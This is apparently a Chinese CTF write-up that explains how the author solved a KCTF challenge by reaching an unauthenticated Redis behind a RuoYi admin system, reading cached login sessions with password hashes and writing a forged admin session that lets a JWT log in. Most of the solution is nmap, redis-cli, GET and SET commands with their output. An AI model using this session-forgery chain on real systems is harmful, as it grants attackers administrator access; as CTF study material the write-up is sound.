kctf[统一门派]-redis未授权访问与jwt认证的结合利用

第三题 统一门派

题目进去是一个ruoyi管理系统

虚晃的点

  • 若依管理系统有好几个洞,题目给的看上去是2020版本的ruoyi
  • 后端是jackson,2021护网期间爆出了一个0day,但是没有poc
  • swagger–api管理页面信息泄露
    • 猜测秘钥,进一步爆破目录,爆破api,尝试未授权访问
    • 结合了半天shiro未授权访问的洞,都不太行

上面实际上都是虚晃我们的。。。可能搭建题目的时候作者也没太注意。

更接近实际的环境,我就是死磕那个api页面和shiro未授权,导致最后怎么都没做出来。

正确的解

又一次看着wp复现题目罢了。。。。

做题的时候猜测过好几次redis的洞,但是由于好几次nmap都没有用对,导致了端口一直扫不出来

nmap -Pn -p 6379 121.36.145.157

把端口指定了,这才扫出来!

redis未授权访问,直接远程连接即可

redis-cli -h 121.36.145.157 -p 6379
121.36.145.157:6379> ping
PONG
121.36.145.157:6379> info
# Server
redis_version:4.0.9
....
121.36.145.157:6379> keys *
1) "login_token:35f0fa65-48ca-419d-b2b6-01308a241f67"
2) "sys_config:sys.index.sideTheme"
3) "login_token:f4c75427-0b4a-493c-9987-db9f8c9f4cda"
4) "sys_dict:sys_user_sex"
5) "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333"
6) "login_token:ad9f56a3-26cd-41ce-9c6d-e6ca4e6f213a"
7) "sys_dict:sys_common_status"
8) "login_tokens:f4c75427-0b4a-493c-9987-db9f8c9f4cda"
9) "captcha_codes:1a080bed9912405990e47bc1b24fa000"
10) "login_tokens:921b1f05-d48b-4dfc-be7d-fbf04ad3ed48"
11) "sys_dict:sys_oper_type"
12) "captcha_codes:b756b5b52b3e4b2e9d238df8b32ec079"
13) "sys_config:sys.user.initPassword"
14) "sys_dict:sys_normal_disable"
15) "sys_dict:sys_notice_status"
16) "sys_dict:sys_show_hide"
17) "sys_dict:sys_notice_type"
18) "sys_config:sys.index.skinName"
19) "sys_dict:sys_job_status"
20) "x"
21) "login_token"
22) "login_tokens:"
23) "login_token:98c89c39-a575-442a-a5ed-64209b399e5c"
24) "login_tokens:98c89c39-a575-442a-a5ed-64209b399e5c"
25) "login_tokens"
26) "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236111"
27) "sys_dict:sys_job_group"
28) "sys_dict:sys_yes_no"
29) "login_token:7eadb5a1-755c-461e-abd2-56df40807644"

这里可以看到很多键值对,注意,不是键值对,而是键。

所以,我们可以查看值:

get "login_token:35f0fa65-48ca-419d-b2b6-01308a241f67"
"{\"@type\":\"com.ruoyi.common.core.domain.model.LoginUser\",\"accountNonExpired\":true,\"accountNonLocked\":true,\"browser\":\"Chrome 9\",\"credentialsNonExpired\":true,\"enabled\":true,\"expireTime\":1620964866786,\"ipaddr\":\"192.168.1.19\",\"loginLocation\":\"\xe5\x86\x85\xe7\xbd\x91IP\",\"loginTime\":1620963066786,\"os\":\"Windows 10\",\"password\":\"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2\",\"permissions\":Set[\"*:*:*\"],\"token\":\"35f0fa65-48ca-419d-b2b6-01308a241f67\",\"user\":{\"admin\":true,\"avatar\":\"\",\"createBy\":\"admin\",\"createTime\":1620962496000,\"delFlag\":\"0\",\"dept\":{\"children\":[],\"deptId\":103,\"deptName\":\"\xe7\xa0\x94\xe5\x8f\x91\xe9\x83\xa8\xe9\x97\xa8\",\"leader\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"orderNum\":\"1\",\"params\":{\"@type\":\"java.util.HashMap\"},\"parentId\":101,\"status\":\"0\"},\"deptId\":103,\"email\":\"ry@163.com\",\"loginDate\":1620962496000,\"loginIp\":\"127.0.0.1\",\"nickName\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"params\":{\"@type\":\"java.util.HashMap\"},\"password\":\"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2\",\"phonenumber\":\"15888888888\",\"remark\":\"\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roles\":[{\"admin\":true,\"dataScope\":\"1\",\"deptCheckStrictly\":false,\"flag\":false,\"menuCheckStrictly\":false,\"params\":{\"@type\":\"java.util.HashMap\"},\"roleId\":1,\"roleKey\":\"admin\",\"roleName\":\"\xe8\xb6\x85\xe7\xba\xa7\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roleSort\":\"1\",\"status\":\"0\"}],\"sex\":\"1\",\"status\":\"0\",\"userId\":1,\"userName\":\"admin\"},\"username\":\"admin\"}"

这里是redis缓存的用户信息,用于验证登陆什么的。

这里再提一点,这个框架是若依,我们可以去官网看一下在线Demo,其实可以发现,登陆后台用的认证方式是jwt。

形如:

eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjNkMzRiYjA1LTY4NGUtNDljMS1iOGE5LTUzZGRkNWExNzRlMCJ9.ozHWezWh1EiSp3SLO3ZFvFS4iXlzhLOpe7YMbUes11FIeI-YtCuHgvHa25Zk6SACV4ny7r5A0B3ESKtzqXu_hg

拿到jwt.io上去解析得到:

{
"login_user_key": "3d34bb05-684e-49c1-b8a9-53ddd5a174e0"
}

实际上和我们拿到的login_token的形式是一样的

那么,我们直接用一个默认的jwt,然后把默认jwt里面提取的token直接插入到缓存里面即可:

这里使用:

eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjMxMDllYzNmLTZlODQtNDhmNS1iYzFmLTRmMzUxZDIzNjMzMyJ9.qKKRIGTkvIIaUnra_zr9D2iUYqfZPpPUGDnmX8A1OVJ-FDYFUrC-m5iNlg9JP0KSLfN2ho1U_SWnLXTnlRUAfQ

然后解出token,插入进redis:

set login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333 "{\"@type\":\"com.ruoyi.common.core.domain.model.LoginUser\",\"accountNonExpired\":true,\"accountNonLocked\":true,\"browser\":\"Chrome 9\",\"credentialsNonExpired\":true,\"enabled\":true,\"expireTime\":1690354819542,\"ipaddr\":\"117.175.182.182\",\"loginLocation\":\"XX XX\",\"loginTime\":1620354879542,\"os\":\"Windows 10\",\"password\":\"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG\",\"permissions\":Set[\"*:*:*\"],\"token\":\"07aaf192-ca8f-4db7-a6a2-ee81dbf07d58\",\"user\":{\"admin\":true,\"avatar\":\"\",\"createBy\":\"admin\",\"createTime\":1620186031000,\"delFlag\":\"0\",\"dept\":{\"children\":[],\"deptId\":103,\"deptName\":\"\xe7\xa0\x94\xe5\x8f\x91\xe9\x83\xa8\xe9\x97\xa8\",\"leader\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"orderNum\":\"1\",\"params\":{\"@type\":\"java.util.HashMap\"},\"parentId\":101,\"status\":\"0\"},\"deptId\":103,\"email\":\"ry@163.com\",\"loginDate\":1620186031000,\"loginIp\":\"127.0.0.1\",\"nickName\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"params\":{\"@type\":\"java.util.HashMap\"},\"password\":\"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG\",\"phonenumber\":\"15888888888\",\"remark\":\"\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roles\":[{\"admin\":true,\"dataScope\":\"1\",\"deptCheckStrictly\":false,\"flag\":false,\"menuCheckStrictly\":false,\"params\":{\"@type\":\"java.util.HashMap\"},\"roleId\":1,\"roleKey\":\"admin\",\"roleName\":\"\xe8\xb6\x85\xe7\xba\xa7\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roleSort\":\"1\",\"status\":\"0\"}],\"sex\":\"1\",\"status\":\"0\",\"userId\":1,\"userName\":\"admin\"},\"username\":\"admin\"}"

使用jwt即可登陆后台拿到flag

现在很多流行的框架都喜欢使用jwt,而ruoyi-vue刚好用的spingboot+vue+redis,使用的jwt鉴权,所以这题给我们提供了这方面很好的攻击思路。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇